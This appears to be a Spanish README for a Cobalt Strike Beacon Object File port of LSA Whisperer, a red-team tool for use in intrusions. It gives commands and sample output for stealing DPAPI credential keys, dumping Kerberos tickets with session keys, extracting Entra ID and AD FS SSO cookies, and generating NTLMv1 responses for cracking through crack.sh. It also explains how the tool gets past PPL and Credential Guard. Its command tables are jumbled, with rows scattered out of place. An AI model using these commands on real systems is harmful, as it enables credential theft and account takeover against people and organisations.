
Un archivo de objeto de baliza (BOF) que se comunica directamente con los paquetes de autenticación de Windows a través de la interfaz de cliente no confiable/confiable de LSA, sin tocar la memoria del proceso LSASS.

Un puerto de Cobalt Strike Beacon Object File (BOF) de LSA Whisperer — la herramienta que habla directamente con los paquetes de autenticación de Windows a través de la interfaz de cliente no confiable/confiable de LSA, sin tocar la memoria del proceso LSASS incluso cuando PPL y Credential Guard están habilitados.
LSA Whisperer por Evan McBroom (SpecterOps) demostró que se pueden recuperar claves de credenciales DPAPI, extraer tokens de SSO en la nube e interactuar con Kerberos — todo a través de llamadas legítimas a la API LsaCallAuthenticationPackage. Sin lecturas de memoria, sin inyección de procesos, sin identificadores de LSASS.
Este proyecto trae esas capacidades a los C2 como BOFs para su uso durante compromisos de equipo rojo. Nunca abre un identificador al proceso lsass y todas las llamadas pasan por LsaCallAuthenticationPackage (la API de cliente oficial utilizada para hablar con lsass). PPL en LSASS no importa en absoluto. PPL protege el proceso LSASS de ser abierto/leído/inyectado.
| Comando | Descripción |
|---|---|
lsa-credkey [LUID] | Recuperar clave de credencial DPAPI. Funciona con Credential Guard. |

| Comando | Descripción |
|---|---|
lsa-klist [LUID] | Listar tickets de Kerberos en caché. |
lsa-dump [LUID] | Volcar todos los tickets como blobs .kirbi en base64 con claves de sesión. |
lsa-purge [LUID] [server] |

| Comando | Descripción |
|---|---|
lsa-ssocookie [LUID] | Extraer cookie de SSO de Entra ID (Azure AD) a través del plugin AAD. |
LUID: 0 u omitir para la sesión actual. Valor hexadecimal (ej., 0x3e7) para apuntar a una sesión de inicio de sesión específica. Apuntar a otras sesiones requiere SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
Usa la clave recuperada con SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
Envía la respuesta a crack.sh para la recuperación instantánea del hash NT con el desafío predeterminado.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
Cada módulo se compila en un BOF independiente. El código común se incluye en tiempo de compilación (patrón BOF estándar) — sin bibliotecas compartidas ni dependencias en tiempo de ejecución.
| Contexto | Capacidad |
|---|---|
| Usuario actual (sin privilegios) | lsa-klist, lsa-ssocookie, lsa-cloudinfo para su propia sesión |
SYSTEM (SeTcbPrivilege) | Todos los comandos que apuntan a cualquier sesión de inicio de sesión por LUID |
Enumera los LUID disponibles con logonpasswords o klist para encontrar sesiones objetivo.
lsa-credkey y lsa-strongcredkey funcionan a través de Credential Guard. lsa-ntlmv1 está bloqueado por este.1122334455667788 permite el craqueo gratuito con tablas arcoíris a través de crack.sh. Los desafíos personalizados funcionan pero requieren fuerza bruta estándar.lsa-purge con un filtro de servidor solo elimina los tickets coincidentes — útil para abuso dirigido de Kerberos sin interrumpir la sesión del usuario.Este proyecto es un puerto BOF de LSA Whisperer por Evan McBroom (@EvanMcBroom) de SpecterOps. Toda la investigación subyacente — los mensajes de protocolo MSV1_0 no documentados, la interfaz de llamada del plugin CloudAP/AAD y las definiciones de estructuras que hacen esto posible — es su trabajo.
Referencias clave:
lsa-strongcredkey [LUID] | Recuperar clave de credencial DPAPI fuerte (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | Generar respuesta NTLMv1 con el desafío elegido. El desafío predeterminado 1122334455667788 es compatible con las tablas arcoíris de crack.sh. |
| Purgar tickets. Soporta purga selectiva por nombre de servidor. |
lsa-devicessocookie [LUID] | Extraer cookie de SSO del dispositivo. |
lsa-enterprisesso [LUID] | Extraer cookie de SSO empresarial de AD FS. |
lsa-cloudinfo [LUID] | Consultar información del proveedor de nube, estado de TGT, estado de DPAPI. |